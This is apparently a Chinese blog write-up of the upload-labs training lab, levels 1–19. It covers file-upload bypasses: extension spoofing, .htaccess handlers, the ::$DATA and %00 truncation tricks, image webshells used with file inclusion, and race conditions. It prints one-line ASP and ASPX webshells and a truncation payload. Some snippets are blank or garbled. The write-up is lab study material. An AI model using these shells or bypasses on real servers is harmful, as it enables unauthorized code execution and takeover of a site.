文件上传(第1-19关)

文件上传(第1-19关),第1张

lastIndexOf() 方法可返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置从后向前搜索。


stringObject.lastIndexOf(searchvalue,fromindex) searchvalue 必需。


规定需检索的字符串值。


fromindex 可选的整数参数。


规定在字符串中开始检索的位置。


它的合法取值是 0 到 stringObject.length - 1。


如省略该参数,则将从字符串的最后一个字符处开始检索。


注释:lastIndexOf() 方法对大小写敏感! 注释:如果要检索的字符串值没有出现,则该方法返回 -1。


substring() 方法用于提取字符串中介于两个指定下标之间的字符。


stringObject.substring(start,stop) start 必需。


一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。


stop 可选。


一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。


如果省略该参数,那么返回的子串会一直到字符串的结尾。


@表示后面即使执行错误,也不报错。


eval()函数表示括号内的语句字符串什么的全都当做代码执行。


$_POST['pass']表示从页面中获得pass这个参数值 php的一句话木马: asp的一句话是: <%eval request ("pass")%> aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

第1关

目的是上传php文件,注入后门
但是,不让上传php文件,所以考虑绕过(用burp拦截并修改后缀名)

首先创建一个php文件,将后缀名改成jpg,用burp抓包,并修改后缀名php


测试是否上传成功

上传成功

第2关

$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。


$_FILES['upfile']包含了以下内容: $_FILES['upfile']['name'] 客户端文件的原名称。


$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。


$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。


$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。


$_FILES['upfile']['error'] 和该文件上传相关的错误代码。


move_uploaded_file() 函数把上传的文件移动到新位置。


如果成功该函数返回 TRUE,如果失败则返回 FALSE。


move_uploaded_file(file,newloc) 参数 描述 file 必需。


规定要移动的文件。


newloc 必需。


规定文件的新位置。



第3关

黑名单绕过


那些后缀名都是黑名单,被拦截的
思路:可以尝试上传php2/php3/php4/php5/phtml绕过
其他的语言扩展名:


成功

第4关

.htaccess绕过

在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。


即是,可以通过设置可以将该目录下的所有文件作为php文件来解析

.htaccess可以写入apache配置信息,改变当前目录以及子目录的Apache配置信息

思路:上传.htaccess文件,文件内容:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php;如果想要指定后缀名解析为php,文件内容:AddType application/x-httpd-php .jpg(上传该.htaccess文件后,上传的.jpg文件都会被当作.php文件解析)

前提条件:

  1. 配置上允许.htaccess生效
  2. Apache开启rewrite模块
  3. apache配置文件为AllowOverride All(默认为None)

.htaccess中将下面的内容写进去


	SetHandler application/x-httpd-php

先上传这个文件,之后上传不是黑名单的后缀名就可以了,.htaccess会自动转换为php文件

第5关

这关将.htaccess加入黑名单了


我们可以看到没有循环,就是说只能处理一次
所以我们写".php. ."就可以了

第6关

可以参考第5关
这关少了转小写的防护
在window的时候如果文件名

第7关

发现空格限制没有了,可以利用这个进行绕过

第8关

发现点限制没有了,可以利用这个进行绕过

第9关

在window的时候如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

这关没有::$DATA这个规则了

第10关

和第5关一样,用.php. .可以绕过
在这里就不写了

第11关

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
str_ireplace(find,replace,string,count)

参数 	描述
find 	必需。


规定要查找的值。


replace 必需。


规定替换 find 中的值的值。


string 必需。


规定被搜索的字符串。


count 可选。


一个变量,对替换数进行计数。


trim(string $str, string $character_mask = " \t\n\r\0\x0B"): string 参数 str 待处理的字符串。


character_mask 可选参数,过滤字符也可由 character_mask 参数指定。


一般要列出所有希望过滤的字符,也可以使用 “..” 列出一个字符范围。


这关是如果查到黑名单,就会用空替换,用双写,从左往右检查,将后缀名改成.pphphp,就可以上传成功了

第12关

1. substr(string,start,length)
函数返回字符串的一部分。


参数 描述 string 必需。


规定要返回其中一部分的字符串。


start 必需。


规定在字符串的何处开始。


正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始 length 可选。


规定被返回字符串的长度。


默认是直到字符串的结尾。


正数 - 从 start 参数所在的位置返回的长度 负数 - 从字符串末端返回的长度 2. strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出现的位置。


参数 描述 string 必需。


规定被搜索的字符串。


find 必需。


规定要查找的字符。


start 可选。


规定在何处开始搜索。


3. in_array(search,array,type) 函数搜索数组中是否存在指定的值 参数 描述 search 必需。


规定要在数组搜索的值。


array 必需。


规定要搜索的数组。


type 可选。


如果该参数设置为 TRUE, 则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。


4. move_uploaded_file(file,newloc) 函数把上传的文件移动到新位置 参数 描述 file 必需。


规定要移动的文件。


newloc 必需。


规定文件的新位置。


5. rand(int $min, int $max): int 产生一个随机整数 如果没有提供可选参数 min 和 max,rand() 返回 0 到 getrandmax() 之间的伪随机整数。


例如想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。


在某些平台下(例如 Windows)getrandmax() 只有 32767。


如果需要的范围大于 32767,那么指定 min 和 max 参数就可以生成更大的数了,或者考虑用 mt_rand() 来替代之。


data 格式化本地时间/日期

制作图片马的方法

我们可以使用%00截断来实现绕过.

需要两个条件

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态



环境配置完成

上传图片马

我们构造payload。



POST /upload-labs-master/Pass-12/index.php?save_path=…/upload/phpinfo.php%00

原理

当我们看到图片链接的时候相信大家已经或多或少明白了,payload构造的就是这个效果,为什么叫%00截断,因为上传后他的值会自动拼接上后面的 1.jpg 就变成了这样 phpinfo.php%001.jpg 当防护端检测的时候,发现后缀是1.jpg,于是就没有进行拦截,phpinfo.php后面的%001.jpg因为%00就都不生效,所以最后上传上去的就是phpinfo.php,为什么后面是7720210825092924.jpg而不是1.jpg是因为源代码有些随机文件名的规则。


我们进行检测的时候直接访问这个地址,把php后面的都去掉:http://127.0.0.1/upload-labs-master/upload/phpinfo.php

参考博客:https://blog.csdn.net/dd_c1d/article/details/119894881

第13关

分析源码

这关报错的路径在post参数里 可以直接00截断绕过 ,唯一不同的是post中内容不会给你直接url编码,所以我们需要改一下hex,需要在二进制中进行修改,因为post不会像get对%00进行自动解码。




完成

第14关

这关规定要使用图片马,这是图片马的制作过程(注意不要换后缀名,否则后缀名的hex不一致)


识别不出来,根据提示“使用文件包含漏洞能运行图片马中的恶意代码”

在upload中新建一个php文件

代码

  

最后测试成功

第15关

image_type_to_extension — 根据指定的图像类型返回对应的后缀名。


getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组, 失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息 索引 0 给出的是图像宽度的像素值 索引 1 给出的是图像高度的像素值 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签 索引 bits 给出的是图像的每种颜色的位数,二进制格式 索引 channels 给出的是图像的通道值,RGB 图像默认是 3 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg"); stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。


stripos(string,find,start) 参数 描述 string 必需。


规定要搜索的字符串。


find 必需。


规定要查找的字符。


start 可选。


规定开始搜索的位置。


查看源码知道,没有变化很大的规则,还是检查后缀名,所以之前的图片马还是有效的

第16关

exif_imagetype() 读取一个图像的第一个字节并检查其签名。


如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。


返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。




该函数的使用环境了:PHP 4 >= 4.3.0, PHP 5, PHP 7
开启,默认关闭

在php.ini中搜索extension=php_exif.dll,然后将前面的分号去掉

之前的图片马还是有效的

第17关

之前的图片马还是有效的

第18关

漏洞介绍
条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时 *** 作逻辑不合理而造成。


当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。


该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感 *** 作处。


另外条件竞争漏洞也会出现在其他位置,例如文件的 *** 作处理等。



首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。


条件竞争

经过一波审计,发现有unlink函数(网上搜的),此函数是删除文件的作用

这里先将文件保存在服务器中,再判断后缀名,若后缀名不合法则删除文件

通过条件竞争的方式在unlink之前,访问上传文件。


利用条件竞争删除文件时间差绕过。




创建一个test.php
代码

')
?>

上传这个test.php文件,然后使用burp抓包

发送过来之后,直接全部清除
然后设置有些载荷

然后设置没有负载,无限期的重复

之后用蚁剑连接

参考博客
https://blog.csdn.net/qq_46527080/article/details/111701247

第19关

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。


文件上传之后又对其进行了重命名。


第一种方法

将php文件的后缀改成phpinfo.php.7z,直接上传

第二种方法

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。


要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。


这里还是将前一关的代码插入图片作出图片马。


然后通过文件包含去访问该图片马。


参考
https://blog.csdn.net/baidu_38294816/article/details/121024014

欢迎分享,转载请注明来源:内存溢出

原文地址: https://www.outofmemory.cn/langs/577618.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-11
下一篇 2022-04-12

发表评论

登录后才能评论

评论列表(0条)

保存